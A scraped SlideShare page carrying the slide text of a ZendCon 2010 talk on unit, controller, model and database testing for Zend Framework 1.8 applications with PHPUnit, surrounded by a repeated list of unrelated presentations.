Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Jeffrey Haguewood
 
Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backElena Simperl
 
Agentic RAG What it is its types applications and implementation.pdf
Agentic RAG What it is its types applications and implementation.pdfAgentic RAG What it is its types applications and implementation.pdf
Agentic RAG What it is its types applications and implementation.pdfChristopherTHyatt
 
Exploring UiPath Orchestrator API: updates and limits in 2024 🚀
Exploring UiPath Orchestrator API: updates and limits in 2024 🚀Exploring UiPath Orchestrator API: updates and limits in 2024 🚀
Exploring UiPath Orchestrator API: updates and limits in 2024 🚀DianaGray10
 
Server-Driven User Interface (SDUI) at Priceline
Server-Driven User Interface (SDUI) at PricelineServer-Driven User Interface (SDUI) at Priceline
Server-Driven User Interface (SDUI) at PricelineUXDXConf
 
What's New in Teams Calling, Meetings and Devices April 2024
What's New in Teams Calling, Meetings and Devices April 2024What's New in Teams Calling, Meetings and Devices April 2024
What's New in Teams Calling, Meetings and Devices April 2024Stephanie Beckett
 
Salesforce Adoption – Metrics, Methods, and Motivation, Antone Kom
Salesforce Adoption – Metrics, Methods, and Motivation, Antone KomSalesforce Adoption – Metrics, Methods, and Motivation, Antone Kom
Salesforce Adoption – Metrics, Methods, and Motivation, Antone KomCzechDreamin
 
AI revolution and Salesforce, Jiří Karpíšek
AI revolution and Salesforce, Jiří KarpíšekAI revolution and Salesforce, Jiří Karpíšek
AI revolution and Salesforce, Jiří KarpíšekCzechDreamin
 
Demystifying gRPC in .Net by John Staveley
Demystifying gRPC in .Net by John StaveleyDemystifying gRPC in .Net by John Staveley
Demystifying gRPC in .Net by John StaveleyJohn Staveley
 
AI presentation and introduction - Retrieval Augmented Generation RAG 101
AI presentation and introduction - Retrieval Augmented Generation RAG 101AI presentation and introduction - Retrieval Augmented Generation RAG 101
AI presentation and introduction - Retrieval Augmented Generation RAG 101vincent683379
 
Designing for Hardware Accessibility at Comcast
Designing for Hardware Accessibility at ComcastDesigning for Hardware Accessibility at Comcast
Designing for Hardware Accessibility at ComcastUXDXConf
 
Connecting the Dots in Product Design at KAYAK
Connecting the Dots in Product Design at KAYAKConnecting the Dots in Product Design at KAYAK
Connecting the Dots in Product Design at KAYAKUXDXConf
 
10 Differences between Sales Cloud and CPQ, Blanka Doktorová
10 Differences between Sales Cloud and CPQ, Blanka Doktorová10 Differences between Sales Cloud and CPQ, Blanka Doktorová
10 Differences between Sales Cloud and CPQ, Blanka DoktorováCzechDreamin
 
ODC, Data Fabric and Architecture User Group
ODC, Data Fabric and Architecture User GroupODC, Data Fabric and Architecture User Group
ODC, Data Fabric and Architecture User GroupCatarinaPereira64715
 
A Business-Centric Approach to Design System Strategy
A Business-Centric Approach to Design System StrategyA Business-Centric Approach to Design System Strategy
A Business-Centric Approach to Design System StrategyUXDXConf
 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Tobias Schneck
 
SOQL 201 for Admins & Developers: Slice & Dice Your Org’s Data With Aggregate...
SOQL 201 for Admins & Developers: Slice & Dice Your Org’s Data With Aggregate...SOQL 201 for Admins & Developers: Slice & Dice Your Org’s Data With Aggregate...
SOQL 201 for Admins & Developers: Slice & Dice Your Org’s Data With Aggregate...CzechDreamin
 
Unpacking Value Delivery - Agile Oxford Meetup - May 2024.pptx
Unpacking Value Delivery - Agile Oxford Meetup - May 2024.pptxUnpacking Value Delivery - Agile Oxford Meetup - May 2024.pptx
Unpacking Value Delivery - Agile Oxford Meetup - May 2024.pptxDavid Michel
 
Introduction to Open Source RAG and RAG Evaluation
Introduction to Open Source RAG and RAG EvaluationIntroduction to Open Source RAG and RAG Evaluation
Introduction to Open Source RAG and RAG EvaluationZilliz
 

Recently uploaded (20)

Custom Approval Process: A New Perspective, Pavel Hrbacek & Anindya Halder
Custom Approval Process: A New Perspective, Pavel Hrbacek & Anindya HalderCustom Approval Process: A New Perspective, Pavel Hrbacek & Anindya Halder
Custom Approval Process: A New Perspective, Pavel Hrbacek & Anindya Halder
 
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
 
Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and back
 
Agentic RAG What it is its types applications and implementation.pdf
Agentic RAG What it is its types applications and implementation.pdfAgentic RAG What it is its types applications and implementation.pdf
Agentic RAG What it is its types applications and implementation.pdf
 
Exploring UiPath Orchestrator API: updates and limits in 2024 🚀
Exploring UiPath Orchestrator API: updates and limits in 2024 🚀Exploring UiPath Orchestrator API: updates and limits in 2024 🚀
Exploring UiPath Orchestrator API: updates and limits in 2024 🚀
 
Server-Driven User Interface (SDUI) at Priceline
Server-Driven User Interface (SDUI) at PricelineServer-Driven User Interface (SDUI) at Priceline
Server-Driven User Interface (SDUI) at Priceline
 
What's New in Teams Calling, Meetings and Devices April 2024
What's New in Teams Calling, Meetings and Devices April 2024What's New in Teams Calling, Meetings and Devices April 2024
What's New in Teams Calling, Meetings and Devices April 2024
 
Salesforce Adoption – Metrics, Methods, and Motivation, Antone Kom
Salesforce Adoption – Metrics, Methods, and Motivation, Antone KomSalesforce Adoption – Metrics, Methods, and Motivation, Antone Kom
Salesforce Adoption – Metrics, Methods, and Motivation, Antone Kom
 
AI revolution and Salesforce, Jiří Karpíšek
AI revolution and Salesforce, Jiří KarpíšekAI revolution and Salesforce, Jiří Karpíšek
AI revolution and Salesforce, Jiří Karpíšek
 
Demystifying gRPC in .Net by John Staveley
Demystifying gRPC in .Net by John StaveleyDemystifying gRPC in .Net by John Staveley
Demystifying gRPC in .Net by John Staveley
 
AI presentation and introduction - Retrieval Augmented Generation RAG 101
AI presentation and introduction - Retrieval Augmented Generation RAG 101AI presentation and introduction - Retrieval Augmented Generation RAG 101
AI presentation and introduction - Retrieval Augmented Generation RAG 101
 
Designing for Hardware Accessibility at Comcast
Designing for Hardware Accessibility at ComcastDesigning for Hardware Accessibility at Comcast
Designing for Hardware Accessibility at Comcast
 
Connecting the Dots in Product Design at KAYAK
Connecting the Dots in Product Design at KAYAKConnecting the Dots in Product Design at KAYAK
Connecting the Dots in Product Design at KAYAK
 
10 Differences between Sales Cloud and CPQ, Blanka Doktorová
10 Differences between Sales Cloud and CPQ, Blanka Doktorová10 Differences between Sales Cloud and CPQ, Blanka Doktorová
10 Differences between Sales Cloud and CPQ, Blanka Doktorová
 
ODC, Data Fabric and Architecture User Group
ODC, Data Fabric and Architecture User GroupODC, Data Fabric and Architecture User Group
ODC, Data Fabric and Architecture User Group
 
A Business-Centric Approach to Design System Strategy
A Business-Centric Approach to Design System StrategyA Business-Centric Approach to Design System Strategy
A Business-Centric Approach to Design System Strategy
 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
 
SOQL 201 for Admins & Developers: Slice & Dice Your Org’s Data With Aggregate...
SOQL 201 for Admins & Developers: Slice & Dice Your Org’s Data With Aggregate...SOQL 201 for Admins & Developers: Slice & Dice Your Org’s Data With Aggregate...
SOQL 201 for Admins & Developers: Slice & Dice Your Org’s Data With Aggregate...
 
Unpacking Value Delivery - Agile Oxford Meetup - May 2024.pptx
Unpacking Value Delivery - Agile Oxford Meetup - May 2024.pptxUnpacking Value Delivery - Agile Oxford Meetup - May 2024.pptx
Unpacking Value Delivery - Agile Oxford Meetup - May 2024.pptx
 
Introduction to Open Source RAG and RAG Evaluation
Introduction to Open Source RAG and RAG EvaluationIntroduction to Open Source RAG and RAG Evaluation
Introduction to Open Source RAG and RAG Evaluation
 

Unit testing after Zend Framework 1.8

  • 1. Unit Testing after ZF 1.8 Michelangelo van Dam ZendCon 2010, Santa Clara, CA (USA)
  • 2. Michelangelo van Dam • Independent Consultant • Zend Certified Engineer (ZCE) • President of PHPBenelux
  • 3. This session What has changed with ZF 1.8 ? How do we set up our environment ? How are we testing controllers ? How are we testing forms ? How are we testing models ?
  • 4. New to unit testing ?
  • 6. Matthew Weier O’Phinney http://www.slideshare.net/weierophinney/testing-zend-framework-applications
  • 9. Birth of Zend_Application • bootstrapping an “app” • works the same for any environment • resources through methods (no registry) •- clean separation of tests unit tests - controller tests - integration tests (db, web services, …)
  • 11. Unit Testing •- smallest functional code snippet (unit) function or class method •- aims to challenge logic proving A + B gives C (and not D) • helpful for refactoring • essential for bug fixing (is it really a bug ?) • TDD results in better code • higher confidence for developers -> managers
  • 12. Controller Testing •- tests your (ZF) app is this url linked to this controller ? •- detects early errors on front-end (route/page not found) - on back-end (database changed, service down, …) • tests passing back and forth of params • form validation and filtering • security testing (XSS, SQL injection, …)
  • 13. Database Testing •- tests the functionality of your database referred to as “integration testing” •- checks functionality CRUD - stored procedures - triggers and constraints • verifies no mystery data changes happen - UTF-8 in = UTF-8 out
  • 16. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Zend Framework Unit Test Demo"> <directory>./</directory> </testsuite> <!-- Optional settings for filtering and logging --> <filter> <whitelist> <directory suffix=".php">../library/</directory> <directory suffix=".php">../application/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> <logging> <log type="coverage-html" target="./log/report" charset="UTF-8" yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/> <log type="testdox-html" target="./log/testdox.html" /> </logging> </phpunit>
  • 17. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path()); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); require_once 'Zend/Application.php'; $application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $application->bootstrap();
  • 18. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path()); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); require_once 'Zend/Application.php'; $application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $application->bootstrap();
  • 19. ControllerTestCase.php <?php require_once 'Zend/Application.php'; require_once 'Zend/Test/PHPUnit/ControllerTestCase.php'; abstract class ControllerTestCase extends Zend_Test_PHPUnit_ControllerTestCase { protected function setUp() { // we override the parent::setUp() to solve an issue regarding not // finding a default module } }
  • 20. Directory Strategy /application /tests /configs /application /controllers /controllers /forms /forms /models /models /modules /modules /guestbook /guestbook /apis /apis /controllers /controllers /forms /forms /models /models /views /helpers /filters /scripts /views /helpers /filters /scripts /library /public /tests
  • 22. Homepage testing <?php // file: tests/application/controllers/IndexControllerTest.php require_once TEST_PATH . '/ControllerTestCase.php'; class IndexControllerTest extends ControllerTestCase { public function testCanWeDisplayOurHomepage() { // go to the main page of the web application $this->dispatch('/'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); // ok, no error so let's see if we're at our homepage $this->assertModule('default'); $this->assertController('index'); $this->assertAction('index'); $this->assertResponseCode(200); } }
  • 28. Simple comment form <?php class Application_Form_Comment extends Zend_Form { public function init() { $this->addElement('text', 'fullName', array ( 'label' => 'Full name', 'required' => true)); $this->addElement('text', 'emailAddress', array ( 'label' => 'E-mail address', 'required' => true)); $this->addElement('text', 'website', array ( 'label' => 'Website URL', 'required' => false)); $this->addElement('textarea', 'comment', array ( 'label' => 'Your comment', 'required' => false)); $this->addElement('submit', 'send', array ( 'Label' => 'Send', 'ignore' => true)); } }
  • 29. CommentController <?php class CommentController extends Zend_Controller_Action { protected $_session; public function init() { $this->_session = new Zend_Session_Namespace('comment'); } public function indexAction() { $form = new Application_Form_Comment(array ( 'action' => $this->_helper->url('send-comment'), 'method' => 'POST', )); if (isset ($this->_session->commentForm)) { $form = unserialize($this->_session->commentForm); unset ($this->_session->commentForm); } $this->view->form = $form; } }
  • 30. Comment processing <?php class CommentController extends Zend_Controller_Action { … public function sendCommentAction() { $request = $this->getRequest(); if (!$request->isPost()) { return $this->_helper->redirector('index'); } $form = new Application_Form_Comment(); if (!$form->isValid($request->getPost())) { $this->_session->commentForm = serialize($form); return $this->_helper->redirector('index'); } $values = $form->getValues(); $this->view->values = $values; } }
  • 31. Views <!-- file: application/views/scripts/comment/index.phtml --> <?php echo $this->form ?> <!-- file: application/views/scripts/comment/send-comment.phtml --> <dl> <?php if (isset ($this->values['website'])): ?> <dt id="fullName"><a href="<?php echo $this->escape($this->values ['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></ dt> <?php else: ?> <dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt> <?php endif; ?> <dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd> </dl>
  • 35. Starting simple <?php // file: tests/application/controllers/IndexControllerTest.php require_once TEST_PATH . '/ControllerTestCase.php'; class CommentControllerTest extends ControllerTestCase { public function testCanWeDisplayOurForm() { // go to the main comment page of the web application $this->dispatch('/comment'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); $this->assertModule('default'); $this->assertController('comment'); $this->assertAction('index'); $this->assertResponseCode(200); $this->assertQueryCount('form', 1); $this->assertQueryCount('form', 1); $this->assertQueryCount('input[type="text"]', 2); } $this->assertQueryCount('input[type="text"]', 3); $this->assertQueryCount('textarea', 1); } $this->assertQueryCount('textarea', 1);
  • 36. GET request = index ? public function testSubmitFailsWhenNotPost() { $this->request->setMethod('get'); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment'); }
  • 37. Can we submit our form ? public function testCanWeSubmitOurForm() { $this->request->setMethod('post') ->setPost(array ( 'fullName' => 'Unit Tester', 'emailAddress' => 'test@example.com', 'website' => 'http://www.example.com', 'comment' => 'This is a simple test', )); $this->dispatch('/comment/send-comment'); $this->assertQueryCount('dt', 1); $this->assertQueryCount('dd', 1); $this->assertQueryContentContains('dt#fullName', '<a href="http://www.example.com">Unit Tester</a>'); $this->assertQueryContentContains('dd#comment', 'This is a simple test'); }
  • 38. All other cases ? /** * @dataProvider wrongDataProvider */ public function testSubmitFailsWithWrongData($fullName, $emailAddress, $comment) { $this->request->setMethod('post') ->setPost(array ( 'fullName' => $fullName, 'emailAddress' => $emailAddress, 'comment' => $comment, )); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment'); }
  • 39. wrongDataProvider public function wrongDataProvider() { return array ( array ('', '', ''), array ('~', 'bogus', ''), array ('', 'test@example.com', 'This is correct text'), array ('Test User', '', 'This is correct text'), array ('Test User', 'test@example.com', str_repeat('a', 50001)), ); }
  • 49. Testing models • uses core PHPUnit_Framework_TestCase class • tests your business logic ! • can run independent from other tests •- model testing !== database testing model testing tests the logic in your objects - database testing tests the data storage
  • 50. Model setUp/tearDown <?php require_once 'PHPUnit/Framework/TestCase.php'; class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase { protected $_gb; protected function setUp() { parent::setUp(); $this->_gb = new Application_Model_Guestbook(); } protected function tearDown() { $this->_gb = null; parent::tearDown(); } … }
  • 51. Simple tests public function testGuestBookIsEmptyAtConstruct() { $this->assertType('Application_Model_GuestBook', $this->_gb); $this->assertFalse($this->_gb->hasEntries()); $this->assertSame(0, count($this->_gb->getEntries())); $this->assertSame(0, count($this->_gb)); } public function testGuestbookAddsEntry() { $entry = new Application_Model_GuestbookEntry(); $entry->setFullName('Test user') ->setEmailAddress('test@example.com') ->setComment('This is a test'); $this->_gb->addEntry($entry); $this->assertTrue($this->_gb->hasEntries()); $this->assertSame(1, count($this->_gb)); }
  • 52. GuestbookEntry tests … public function gbEntryProvider() { return array ( array (array ( 'fullName' => 'Test User', 'emailAddress' => 'test@example.com', 'website' => 'http://www.example.com', 'comment' => 'This is a test', 'timestamp' => '2010-01-01 00:00:00', )), array (array ( 'fullName' => 'Test Manager', 'emailAddress' => 'testmanager@example.com', 'website' => 'http://tests.example.com', 'comment' => 'This is another test', 'timestamp' => '2010-01-01 01:00:00', )), ); } /** * @dataProvider gbEntryProvider * @param $data */ public function testEntryCanBePopulatedAtConstruct($data) { $entry = new Application_Model_GuestbookEntry($data); $this->assertSame($data, $entry->__toArray()); } …
  • 57. Database Testing •- integration testing seeing records are getting updated - data models behave as expected - data doesn't change encoding (UTF-8 to Latin1) • database behaviour testing - CRUD - stored procedures - triggers - master/slave - cluster - sharding
  • 58. Caveats •- database should be reset in a “known state” no influence from other tests •- system failures cause the test to fail connection problems •- unpredictable data fields or types auto increment fields - date fields w/ CURRENT_TIMESTAMP
  • 60. Model => database <?php require_once 'PHPUnit/Framework/TestCase.php'; class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase { … } Becomes <?php require_once TEST_PATH . '/DatabaseTestCase.php'; class Application_Model_GuestbookEntryTest extends DatabaseTestCase { … }
  • 61. DatabaseTestCase.php <?php require_once 'Zend/Application.php'; require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php'; require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php'; abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase { private $_dbMock; private $_application; protected function setUp() { $this->_application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap = array($this, 'appBootstrap'); parent::setUp(); } …
  • 62. DatabaseTestCase.php (2) … public function appBootstrap() { $this->application->bootstrap(); } protected function getConnection() { if (null === $this->_dbMock) { $bootstrap = $this->application->getBootstrap(); $bootstrap->bootstrap('db'); $connection = $bootstrap->getResource('db'); $this->_dbMock = $this->createZendDbConnection($connection,'in2it'); Zend_Db_Table_Abstract::setDefaultAdapter($connection); } return $this->_dbMock; } protected function getDataSet() { return $this->createFlatXMLDataSet( dirname(__FILE__) . '/_files/initialDataSet.xml'); } }
  • 63. _files/initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <gbentry id="1" fullName="Test User" emailAddress="test@example.com" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry id="2" fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi-council.com" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <comment id="1" comment= "Good article, thanks"/> <comment id="2" comment= "Haha, Obi Wan… liking this very much"/> … </dataset>
  • 64. A simple DB test public function testNewEntryPopulatesDatabase() { $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT * FROM gbentry'); $dataSet = $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"); $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $dataSet, array('gbentry' => array('id'))); $this->assertDataSetsEqual($filteredDataSet, $ds); }
  • 65. location of datasets <approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml
  • 69. Changing records public function testNewEntryPopulatesDatabase() { $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment, timestamp FROM gbentry'); $this->assertDataSetsEqual( $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"), $ds ); }
  • 70. Expected resultset <?xml version="1.0" encoding="UTF-8"?> <dataset> <gbentry fullName="Test User" emailAddress="test@example.com" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi- council.com" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <gbentry fullName="Test User" emailAddress="test@example.com" website="http://www.example.com" comment="This is a test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Test Manager" emailAddress="testmanager@example.com" website="http://tests.example.com" comment="This is another test" timestamp="2010-01-01 01:00:00"/> </dataset>
  • 71. location of datasets <approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml addedTwoEntries.xml
  • 76. Desire vs Reality •- desire +70% code coverage - test driven development - clean separation of tests •- reality test what counts first (business logic) - discover the “unknowns” and test them - combine unit tests with integration tests
  • 77. Automation •- using a CI system continuous running your tests - reports immediately when failure - provides extra information ‣ copy/paste detection ‣ mess detection &dependency calculations ‣ lines of code ‣ code coverage ‣ story board and test documentation ‣ …
  • 78. Questions • http://slideshare.net/DragonBe/unit-testing-after-zf-18 • http://github.com/DragonBe/zfunittest • http://twitter.com/DragonBe • http://facebook.com/DragonBe • http://joind.in/2243